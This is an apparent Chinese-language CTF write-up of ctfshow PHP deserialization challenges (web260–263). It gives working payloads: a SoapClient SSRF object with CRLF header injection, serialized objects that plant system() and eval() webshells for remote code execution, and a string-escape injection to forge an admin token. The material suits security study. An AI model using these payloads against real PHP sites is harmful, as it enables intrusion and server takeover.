五、Cloudflare的反向代理会导致网站收到用户的IP地址不是真实IP地址,有利于保护网站的安全和有隐私
六、SoapCilent原生类__call:在对象中调用一个不存在方法时向ip发送请求,其中会出现SOAPAction处可控,当把\r\n注入到SOAPAction,POST请求的header就可以被控制
><?php >$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555')); >$b = serialize($a); >echo $b; >$c = unserialize($b); >$c->not_exists_function();
七、user_agent可以注入CRLF,控制后面的信息(HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来)
写自己的思路,通过了解Cloudflare反向代理直接抓取包修改xff是无法通过本地构造XFF绕过,因为它会接受来自 Cloudflare 边缘节点的 IP 地址,而不是用户的真实IP地址,但是可用通过PHP原生类的反序列化来实现SSRF,题目也是如此的想法,用soapclient和__call打组合拳。测试soapclient使用上面的第六点代码,发现了SOAPAction在Content-Type的下面,这会导致无法修改Content-Type的值,即无法操作POST值,题目需要传入POST值为token=ctfshow(POST的形式需要application/x-www-form-urlencoded),发现还可以从UA下手,像上面的第七点使用\r\n实现修改值,地址需要通过127.0.0.1访问flag.php,于是实现最后的POC,传参访问flag.txt就是了。
<?php
$ua = "adc\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; ////token前面使用两个\r\n是因为需要和hearder区分,POST是body部分
$client = new SoapClient(null, array('uri' => '127.0.0.1', 'location' => 'http://127.0.0.1/flag.php', 'user_agent' => $ua));
echo urlencode(serialize($client));
注意点:
1.Content-Length: 13是因为只取后面13位即刚刚好是ntoken=ctfshow,是严格限定的内容(token=ctfshow下面的将被抛弃)
2.soapclent的参数问题
location:指定要访问的 SOAP 服务的位置(URL)
uri:指定要用于 SOAP 请求和响应的 XML 命名空间 //如果没有将无法发送请求到正确的服务端点
user-agent不是规定的参数,可以通过 stream_context_create自定义,否则会出现报错supplied argument is not a valid Stream-Context resource
web261
发现了新的几个魔术方法,然后不太懂就去查看了一下信息,发现了__wakeup方法会在__unserialize前执行,因为__unserialize会查看是否存在__wakeup然后先执行它,所以不考虑这个方法造成影响
然后__sleep方法会在执行__serialize时,先会调用这个函数,但是源码中并没有__serialize方法,而__invoke调用不到。最后需要处理的就是__unserialize和_destruct了。对于第一个直接将两个参数修改为合适的即可,而第二个则知道弱比较可以绕过,而0x36d是十进制的877,那么可以使用877.php绕过了。
最后POC为:
<?php
class ctfshowvip
{
public $username = "877.php";
public $password = '<?php system($_GET["shell"]);?>';
public $code = 0x36d;
}
echo urlencode(serialize(new ctfshowvip));
//O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A31%3A%22%3C%3Fphp+system%28%24_GET%5B%22shell%22%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3Bi%3A877%3B%7D
访问877.php然后进行RCE即可
COPY一下别人的笔记:
- _construct(),类的构造函数
- __destruct(),类的析构函数
- __call(),在对象中调用一个不可访问方法时调用
- __callStatic(),用静态方式中调用一个不可访问方法时调用
- __get(),获得一个类的成员变量时调用
- __set(),设置一个类的成员变量时调用
- __isset(),当对不可访问属性调用isset()或empty()时调用
- __unset(),当对不可访问属性调用unset()时被调用。
- __sleep(),执行serialize()时,先会调用这个函数
- __wakeup(),执行unserialize()时,先会调用这个函数
- __toString(),类被当成字符串时的回应方法
- __invoke(),调用函数的方式调用一个对象时的回应方法
- __set_state(),调用var_export()导出类时,此静态方法会被调用。
- __clone(),当对象复制完成时调用
- __autoload(),尝试加载未定义的类
- __debugInfo(),打印所需调试信息
web262
查看源码的时候发现注释有个message.php,于是查看了该文件,发现了一个新的信息,然后根据题目要求对内容进行序列化后再base64编码传入cookie发现可以获得flag,但是如果通过index.php的信息获取flag则没有想法,后来发现属于字符逃逸内容,这个是新看到的内容,于是看着wp来复现学习。
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
发现message.php中对传入的fuck进行了过滤,变成loveU,这会使得可控的字符变多一个,我们可以传入多一位字符内容,我们因此需要增多足够导致结果的序列化内容。(在反序列化中是通过匹配” { “ 和 “ } “来判断是否结束)
需要注入的内容:”;s:5:”token”;s:5:”admin”;} //共27个字符所以需要27个fuck来完成注入
payload:?f=1&m2=&t= fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:”token”;s:5:”admin”;}
注入结果:O:7:”message”:1:{s:2:”to”;s:135:”loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU”;s:5:”token”;s:5:”admin”;}“;} //黑色的为注入to的结果,但是当反序列化的时候to的135个字符只到最后loveU,而”;s:5:”token”;s:5:”admin”;}成为新的属性,并且这个” } “结束反序列,最后的;}则省略
web263
打开只有这个,查看源码发现check.php的信息,但是打开没啥用,就扫描目录
发现了flag.php打开没啥,还有www.zip,就下载了发现了一些源码,看到了session_start();是用来开启session记录登录次数,然后再审计一波代码
大概意思和思路:
这是一道利用session机制的题目,利用setcookie为session赋值,有意思的是无论输入多少次都不会报错。
如果想要通过check.php,条件有点不足,因为sql注入被过滤了很多的关键字,无法获取数据库的信息。然后发现了inc.php中存在魔术方法、file_put_contents方法和session_start()、ini_set(‘session.serialize_handler’, ‘php’)于是猜测是利用session的反序列化漏洞来进行RCE。
通过上面session机制以及inc.php代码的了解,我们需要通过对象的序列化传入webshell,然后放置于一个php可执行文件中(username控制文件名字,password控制文件内容)
POC:
><?php >session_start(); >class User{ public $username; public $password; function __construct(){ $this->username = "2.php"; $this->password = '<?php function fun($a){@eval($a);} @fun($_POST["shell"]); ?>'; } >} >$user = new User(); >echo urlencode(base64_encode("|".serialize($user))); >//fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIyLnBocCI7czo4OiJwYXNzd29yZCI7czo2MjoiPD9waHAgIGZ1bmN0aW9uIGZ1bigkYSl7QGV2YWwoJGEpO30gIEBmdW4oJF9QT1NUWyJzaGVsbCJdKTsgPz4iO30%3D
在登录页面传入cookie的limit值,这里便是传入了cookie并使得session存入了值,然后再通过inc/inc.php页面获取session的内容并进行反序列化,通过魔术方法和file_put_contenets对log-2.php进行写入,然后访问log-2.php进行RCE
大概就是在php_serialize机制的页面传入session带” | “.序列化内容,然后访问php机制的页面,该页面寻找session存储地址获取其值,并将” | “后的内容进行反序列化
反序列化总结一波
1.发送cookie 的值会自动进行 URL 编码, 接收时会进行 URL 解码,同时cookie会识别不到一些特殊字符
2.序列化中,只有类和变量会被序列化
3.对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象
5.PHP序列化了解